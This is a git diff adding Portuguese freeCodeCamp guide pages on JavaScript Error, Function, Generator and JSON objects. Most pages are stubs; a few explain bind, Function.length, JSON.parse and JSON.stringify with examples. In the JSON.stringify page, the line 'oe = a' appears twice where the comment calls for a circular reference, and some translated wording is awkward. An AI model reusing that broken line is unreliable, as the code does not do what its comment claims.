+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-filename/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-linenumber/index.md b/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-linenumber/index.md
new file mode 100644
index 0000000000..d59bf71934
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-linenumber/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.lineNumber
+localeTitle: Error.prototype.lineNumber
+---
+## Error.prototype.lineNumber
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-linenumber/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-message/index.md b/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-message/index.md
new file mode 100644
index 0000000000..e5f19e2afe
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-message/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.message
+localeTitle: Error.prototype.message
+---
+## Error.prototype.message
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-message/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-name/index.md b/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-name/index.md
new file mode 100644
index 0000000000..d7c87da346
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-name/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.name
+localeTitle: Error.prototype.name
+---
+## Error.prototype.name
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-name/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-stack/index.md b/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-stack/index.md
new file mode 100644
index 0000000000..054063a66d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-stack/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.stack
+localeTitle: Error.prototype.stack
+---
+## Error.prototype.stack
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-stack/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-tosource/index.md b/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-tosource/index.md
new file mode 100644
index 0000000000..6dd9e26ad7
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.toSource
+localeTitle: Error.prototype.toSource
+---
+## Error.prototype.toSource
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-tosource/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-tostring/index.md b/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-tostring/index.md
new file mode 100644
index 0000000000..929e23922d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.toString
+localeTitle: Error.prototype.toString
+---
+## Error.prototype.toString
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-tostring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/error/index.md b/client/src/guide/portuguese/javascript/standard-objects/error/index.md
new file mode 100644
index 0000000000..9127c42014
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/error/index.md
@@ -0,0 +1,11 @@
+---
+title: Error
+localeTitle: Erro
+---
+## Erro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/function/function-caller/index.md b/client/src/guide/portuguese/javascript/standard-objects/function/function-caller/index.md
new file mode 100644
index 0000000000..af272288e2
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/function/function-caller/index.md
@@ -0,0 +1,11 @@
+---
+title: Function Caller
+localeTitle: Função chamador
+---
+## Função chamador
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-caller/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/function/function-displayname/index.md b/client/src/guide/portuguese/javascript/standard-objects/function/function-displayname/index.md
new file mode 100644
index 0000000000..7eb98b19f1
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/function/function-displayname/index.md
@@ -0,0 +1,11 @@
+---
+title: Function displayName
+localeTitle: Função displayName
+---
+## Função displayName
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-displayname/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/function/function-length/index.md b/client/src/guide/portuguese/javascript/standard-objects/function/function-length/index.md
new file mode 100644
index 0000000000..710060fe1f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/function/function-length/index.md
@@ -0,0 +1,39 @@
+---
+title: Function Length
+localeTitle: Comprimento da Função
+---
+## Comprimento da Função
+
+A propriedade `length` no objeto de função contém o número de argumentos esperados pela função quando chamado.
+
+```javascript
+function noArgs() { } 
+ 
+ function oneArg(a) { } 
+ 
+ console.log(noArgs.length); // 0 
+ 
+ console.log(oneArg.length); // 1 
+```
+
+### Sintaxe ES2015
+
+ES2015, ou ES6 como é comumente chamado, introduziu o operador de repouso e os parâmetros de função padrão. Ambas as adições alteram o funcionamento da propriedade `length` .
+
+Se o operador de descanso ou os parâmetros padrão forem usados ​​em uma declaração de função, a propriedade de `length` incluirá apenas o número de argumentos antes de um operador de descanso ou um parâmetro padrão.
+
+```javascript
+function withRest(...args) { } 
+ 
+ function withArgsAndRest(a, b, ...args) { } 
+ 
+ function withDefaults(a, b = 'I am the default') { } 
+ 
+ console.log(withRest.length); // 0 
+ 
+ console.log(withArgsAndRest.length); // 2 
+ 
+ console.log(withDefaults.length); // 1 
+```
+
+Mais informações sobre `Function.length` podem ser encontradas no [MDN Docs do Mozilla](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/length) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/function/function-name/index.md b/client/src/guide/portuguese/javascript/standard-objects/function/function-name/index.md
new file mode 100644
index 0000000000..fb32bbe53f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/function/function-name/index.md
@@ -0,0 +1,11 @@
+---
+title: Function Name
+localeTitle: Nome da Função
+---
+## Nome da Função
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-name/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-apply/index.md b/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-apply/index.md
new file mode 100644
index 0000000000..154e545849
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-apply/index.md
@@ -0,0 +1,11 @@
+---
+title: Function.prototype.apply
+localeTitle: Function.prototype.apply
+---
+## Function.prototype.apply
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-prototype-apply/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-bind/index.md b/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-bind/index.md
new file mode 100644
index 0000000000..e93042e14c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-bind/index.md
@@ -0,0 +1,59 @@
+---
+title: Function.prototype.bind
+localeTitle: Function.prototype.bind
+---
+## Function.prototype.bind
+
+`bind` é um método no protótipo de todas as funções em JavaScript. Ele permite que você crie uma nova função a partir de uma função existente, altere a nova função `this` contexto e forneça quaisquer argumentos com os quais deseja que a nova função seja chamada. Os argumentos fornecidos para `bind` precedem quaisquer argumentos que são passados ​​para a nova função quando ela é chamada.
+
+### Usando `bind` para alterar `this` em uma função
+
+O primeiro argumento fornecida para `bind` é a `this` contexto, a função vai ser obrigado a. Se você não quiser alterar o valor `this` passagem `null` como o primeiro argumento.
+
+Você está encarregado de escrever código para atualizar o número de participantes conforme eles chegam em uma conferência. Você cria uma página da Web simples que possui um botão que, quando clicado, incrementa os `numOfAttendees` propriedade no objeto confrence. Você usa o jQuery para adicionar um manipulador de clique ao seu botão, mas após clicar no botão, o objeto confrence não foi alterado. Seu código pode ser algo como isto.
+
+```javascript
+var nodevember = { 
+  numOfAttendees: 0, 
+  incrementNumOfAttendees: function() { 
+    this.numOfAttendees++; 
+  } 
+  // other properties 
+ }; 
+ 
+ $('.add-attendee-btn').on('click', nodevember.incrementNumOfAttendees); 
+```
+
+Esse é um problema comum quando se trabalha com jQuery e JavaScript. Quando você clica no botão `this` palavra-chave no método que você passou para jQuery `on` método referencia o botão e não o objeto de conferência. Você pode ligar `this` contexto do seu método para resolver o problema.
+
+```javascript
+var nodevember = { 
+  numOfAttendees: 0, 
+  incrementNumOfAttendees: function() { 
+    this.numOfAttendees++; 
+  } 
+  // other properties 
+ }; 
+ 
+ $('.add-attendee-btn').on('click', nodevember.incrementNumOfAttendees.bind(nodevember)); 
+```
+
+Agora, quando o botão é clicado, `this` referência ao objeto `nodevember` .
+
+### Fornecendo argumentos para uma função com `bind`
+
+Cada argumento passado para `bind` após o primeiro precederá quaisquer argumentos passados ​​quando a função é chamada. Isso permite pré-aplicar argumentos a uma função. No exemplo abaixo, `combineStrings` usa duas strings e as concatena juntas. `bind` é então usado para criar uma função que sempre fornece "Cool" como a primeira string.
+
+```javascript
+function combineStrings(str1, str2) { 
+  return str1 + " " + str2 
+ } 
+ 
+ var makeCool = combineStrings.bind(null, "Cool"); 
+ 
+ makeCool("trick"); // "Cool trick" 
+```
+
+O guia sobre [essa referência](https://guide.freecodecamp.org/javascript/this-reference) tem mais informações sobre como as referências a `this` palavra `this` chave podem mudar.
+
+Mais detalhes sobre o método `bind` podem ser encontrados nos [documentos MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind) do Mozilla.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-call/index.md b/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-call/index.md
new file mode 100644
index 0000000000..b8086a5804
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-call/index.md
@@ -0,0 +1,11 @@
+---
+title: Function.prototype.call
+localeTitle: Function.prototype.call
+---
+## Function.prototype.call
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-prototype-call/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-isgenerator/index.md b/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-isgenerator/index.md
new file mode 100644
index 0000000000..a4a08ff7d7
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-isgenerator/index.md
@@ -0,0 +1,11 @@
+---
+title: Function.prototype.isGenerator
+localeTitle: Function.prototype.isGenerator
+---
+## Function.prototype.isGenerator
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-prototype-isgenerator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-tosource/index.md b/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-tosource/index.md
new file mode 100644
index 0000000000..a859f70059
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Function.prototype.toSource
+localeTitle: Function.prototype.toSource
+---
+## Function.prototype.toSource
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-prototype-tosource/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-tostring/index.md b/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-tostring/index.md
new file mode 100644
index 0000000000..f64d7ad7b6
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/function/function-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Function.prototype.toString
+localeTitle: Function.prototype.toString
+---
+## Function.prototype.toString
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-prototype-tostring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/function/index.md b/client/src/guide/portuguese/javascript/standard-objects/function/index.md
new file mode 100644
index 0000000000..6b99b2449d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/function/index.md
@@ -0,0 +1,11 @@
+---
+title: Function
+localeTitle: Função
+---
+## Função
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/generator/generator-prototype-next/index.md b/client/src/guide/portuguese/javascript/standard-objects/generator/generator-prototype-next/index.md
new file mode 100644
index 0000000000..0e0801f6b6
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/generator/generator-prototype-next/index.md
@@ -0,0 +1,11 @@
+---
+title: Generator.prototype.next
+localeTitle: Generator.prototype.next
+---
+## Generator.prototype.next
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/generator/generator-prototype-next/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/generator/generator-prototype-return/index.md b/client/src/guide/portuguese/javascript/standard-objects/generator/generator-prototype-return/index.md
new file mode 100644
index 0000000000..88834605cb
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/generator/generator-prototype-return/index.md
@@ -0,0 +1,11 @@
+---
+title: Generator.prototype.return
+localeTitle: Generator.prototype.return
+---
+## Generator.prototype.return
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/generator/generator-prototype-return/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/generator/generator-prototype-throw/index.md b/client/src/guide/portuguese/javascript/standard-objects/generator/generator-prototype-throw/index.md
new file mode 100644
index 0000000000..90d4bfdc2a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/generator/generator-prototype-throw/index.md
@@ -0,0 +1,11 @@
+---
+title: Generator.prototype.throw
+localeTitle: Generator.prototype.throw
+---
+## Generator.prototype.throw
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/generator/generator-prototype-throw/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/generator/index.md b/client/src/guide/portuguese/javascript/standard-objects/generator/index.md
new file mode 100644
index 0000000000..544bb8bd78
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/generator/index.md
@@ -0,0 +1,11 @@
+---
+title: Generator
+localeTitle: Gerador
+---
+## Gerador
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/generator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/index.md b/client/src/guide/portuguese/javascript/standard-objects/index.md
new file mode 100644
index 0000000000..1acaab31a6
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Objects
+localeTitle: Objetos Padrão
+---
+## Objetos Padrão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/json/index.md b/client/src/guide/portuguese/javascript/standard-objects/json/index.md
new file mode 100644
index 0000000000..3c3156a939
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/json/index.md
@@ -0,0 +1,23 @@
+---
+title: JSON
+localeTitle: JSON
+---
+JavaScript Object Notation ou `JSON` usa o formato de Objetos JavaScript para armazenar dados. O JSON é flexível porque permite `Data Structures` com combinações arbitrárias de `strings` , `numbers` , `booleans` , `arrays` e `objects` .
+
+Aqui está um exemplo de um objeto JSON:
+```
+var ourMusic = [ 
+  { 
+    "artist": "Daft Punk", 
+    "title": "Homework", 
+    "release_year": 1997, 
+    "formats": [ 
+      "CD", 
+      "Cassette", 
+      "LP" ], 
+    "gold": true 
+  } 
+ ]; 
+```
+
+Esta é uma matriz de objetos e o objeto possui vários `metadata` sobre um álbum. Também possui uma matriz de `formats` aninhados. Registros adicionais de álbuns podem ser adicionados à matriz de nível superior.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/json/json-arrays/index.md b/client/src/guide/portuguese/javascript/standard-objects/json/json-arrays/index.md
new file mode 100644
index 0000000000..5d532b9820
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/json/json-arrays/index.md
@@ -0,0 +1,30 @@
+---
+title: JSON Arrays
+localeTitle: Matrizes JSON
+---
+## Matrizes JSON
+
+O JSON Arrays não é diferente do objeto de array normal que você usa em Javascript. É um objeto de matriz que contém vários `JSON Objects` .
+
+Aqui está um exemplo de uma matriz JSON:
+
+```Javascript
+    var aMyPlaylist = [{ 
+        artist: "Ed Sheeran", 
+        track: "Supermarket flowers", 
+        myRating: 10 
+    }, { 
+        artist: "Tracy Chapman", 
+        track: "Fastcar", 
+        myRating: 9 
+    }]; 
+```
+
+Esta é uma matriz JSON nomeada como `aMyPlaylist` . Todos os métodos de matriz como `map` , `filter` , `sort` etc. podem ser aplicados em qualquer JSON Array
+
+#### Mais Informações:
+
+Mais métodos de array podem ser encontrados nos seguintes links
+
+*   [Matriz - Freecodecamp](https://guide.freecodecamp.org/javascript/standard-objects/array)
+*   [Array - Mozilla Developer Network](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/json/json-parse/index.md b/client/src/guide/portuguese/javascript/standard-objects/json/json-parse/index.md
new file mode 100644
index 0000000000..f7b8de5eec
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/json/json-parse/index.md
@@ -0,0 +1,58 @@
+---
+title: JSON Parse
+localeTitle: JSON Parse
+---
+## JSON Parse
+
+O método `JSON.parse()` analisa uma string e constrói um novo objeto descrito por uma string.
+
+#### Sintaxe:
+
+```javascript
+    JSON.parse(text [, reviver]) 
+```
+
+##### Parâmetros:
+
+`text` A string para analisar como JSON
+
+`reviver` (opcional) A função receberá `key` e `value` como argumentos. Esta função pode ser usada para transformar o valor do resultado.
+
+Aqui está um exemplo de como usar o `JSON.parse()` :
+
+```javascript
+var data = '{"foo": "bar"}'; 
+ 
+ console.log(data.foo); // This will print `undefined` since `data` is of type string and has no property named as `foo` 
+ 
+ // You can use JSON.parse to create a new JSON object from the given string 
+ var convertedData = JSON.parse(data); 
+ 
+ console.log(convertedData.foo); // This will print `bar 
+```
+
+[Repl.it Demo](https://repl.it/MwgK/0)
+
+Aqui está um exemplo com o `reviver` :
+
+```javascript
+var data = '{"value": 5}'; 
+ 
+ var result = JSON.parse(data, function(key, value) { 
+    if (typeof value === 'number') { 
+        return value * 10; 
+    } 
+    return value; 
+ }); 
+ 
+ // Original Data 
+ console.log("Original Data:", data); // This will print Original Data: {"value": 5} 
+ // Result after parsing 
+ console.log("Parsed Result: ", result); // This will print Parsed Result:  { value: 50 } 
+```
+
+No exemplo acima, todos os valores numéricos estão sendo multiplicados por `10` - [Repl.it Demo](https://repl.it/Mwfp/0)
+
+#### Mais Informações:
+
+[JSON.parse - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/json/json-stringify/index.md b/client/src/guide/portuguese/javascript/standard-objects/json/json-stringify/index.md
new file mode 100644
index 0000000000..d97f596f4b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/json/json-stringify/index.md
@@ -0,0 +1,201 @@
+---
+title: JSON Stringify
+localeTitle: JSON Stringify
+---
+## JSON Stringify
+
+O método `JSON.stringify()` converte um valor JavaScript _JSON-safe_ em uma string compatível com JSON.
+
+Quais são os valores seguros para JSON que alguém pode perguntar! Vamos fazer uma lista de todos os valores não seguros de JSON e qualquer coisa que não esteja na lista pode ser considerada segura para JSON.
+
+#### Valores não seguros de JSON:
+
+*   `undefined`
+*   `function(){}`
+*   (ES6 +) `Symbol`
+*   Um objeto com referência (s) circular (ais) nele
+
+#### Sintaxe
+
+```javascript
+  JSON.stringify( value [, replacer [, space]]) 
+```
+
+Na sua forma mais simples e mais utilizada:
+
+```javascript
+  JSON.stringify( value ) 
+```
+
+#### Parâmetros
+
+`value` : o valor do JavaScript a ser 'stringificado'.
+
+`replacer` : (Opcional) Uma função ou uma matriz que serve como um filtro para propriedades do objeto de valor a ser incluído na sequência JSON.
+
+`space` : (Opcional) Um valor numérico ou de cadeia para fornecer recuo à cadeia JSON. Se um valor numérico é fornecido, muitos espaços (até 10) atuam como indentação em cada nível. Se um valor de string for fornecido, essa string (até os 10 primeiros caracteres) atua como recuo em cada nível.
+
+#### Tipo de retorno
+
+O tipo de retorno do método é: `string` .
+
+## Descrição
+
+Os valores seguros para JSON são convertidos em seus respectivos formatos de string JSON. Os valores não seguros do JSON, por outro lado, retornam:
+
+*   `undefined` se forem passados ​​como valores para o método
+*   `null` se eles forem passados ​​como um elemento de matriz
+*   nada se passado como propriedades em um objeto
+*   lança um erro se for um objeto com referências circulares nele.
+
+```javascript
+  //JSON-safe values 
+  JSON.stringify({});                  // '{}' 
+  JSON.stringify(true);                // 'true' 
+  JSON.stringify('foo');               // '"foo"' 
+  JSON.stringify([1, 'false', false]); // '[1,"false",false]' 
+  JSON.stringify({ x: 5 });            // '{"x":5}' 
+  JSON.stringify(new Date(2006, 0, 2, 15, 4, 5))  // '"2006-01-02T15:04:05.000Z"' 
+ 
+  //JSON-unsafe values passed as values to the method 
+  JSON.stringify( undefined );                    // undefined 
+  JSON.stringify( function(){} );                    // undefined 
+ 
+  //JSON-unsafe values passed as array elements 
+  JSON.stringify({ x: [10, undefined, function(){}, Symbol('')] });  // '{"x":[10,null,null,null]}' 
+ 
+ //JSON-unsafe values passed as properties on a object 
+  JSON.stringify({ x: undefined, y: Object, z: Symbol('') });  // '{}' 
+ 
+  //JSON-unsafe object with circular reference on it 
+  var o = { }, 
+    a = { 
+      b: 42, 
+      c: o, 
+      d: function(){} 
+    }; 
+ 
+  // create a circular reference inside `a` 
+  oe = a; 
+ 
+  // would throw an error on the circular reference 
+  // JSON.stringify( a ); 
+```
+
+`JSON.stringify(...)` se comporta de maneira diferente se um objeto passado a ele tiver um método `toJSON()` definido nele. O valor de retorno do método `toJSON()` será serializado em vez do próprio objeto.
+
+Isso é excepcionalmente útil quando um objeto contém qualquer valor JSON ilegal.
+
+```javascript
+   //JSON-unsafe values passed as properties on a object 
+   var obj = { x: undefined, y: Object, z: Symbol('') }; 
+ 
+   //JSON.stringify(obj);  logs '{}' 
+   obj.toJSON = function(){ 
+    return { 
+      x:"undefined", 
+      y: "Function", 
+      z:"Symbol" 
+    } 
+   } 
+   JSON.stringify(obj);  //"{"x":"undefined","y":"Function","z":"Symbol"}" 
+ 
+  //JSON-unsafe object with circular reference on it 
+  var o = { }, 
+    a = { 
+      b: 42, 
+      c: o, 
+      d: function(){} 
+    }; 
+ 
+  // create a circular reference inside `a` 
+  oe = a; 
+ 
+  // would throw an error on the circular reference 
+  // JSON.stringify( a ); 
+ 
+  // define a custom JSON value serialization 
+  a.toJSON = function() { 
+    // only include the `b` property for serialization 
+    return { b: this.b }; 
+  }; 
+ 
+  JSON.stringify( a ); // "{"b":42}" 
+```
+
+#### O `replacer`
+
+O `replacer` , como mencionado anteriormente, é um filtro que indica quais propriedades devem ser incluídas na sequência JSON. Pode ser uma matriz ou uma função. Quando um array, o replacer contém as representações de string apenas daquelas propriedades que devem ser incluídas na string JSON.
+
+```javascript
+  var foo = {foundation: 'Mozilla', model: 'box', week: 45, transport: 'car', month: 7}; 
+  JSON.stringify(foo, ['week', 'month']);    // '{"week":45,"month":7}', only keep "week" and "month" properties 
+```
+
+Se `replacer` for uma função, ela será chamada uma vez para o próprio objeto e, em seguida, uma vez para cada propriedade no objeto, e cada vez que receber dois argumentos, _chave_ e _valor_ . Para pular uma _chave_ na serialização, `undefined` deve ser retornado. Caso contrário, o _valor_ fornecido deve ser retornado. Se algum desses _valores_ forem objetos propriamente ditos, a função de `replacer` serializará recursivamente.
+
+```javascript
+  function replacer(key, value) { 
+    // Filtering out properties 
+    if (typeof value === 'string') { 
+      return undefined; 
+    } 
+    return value; 
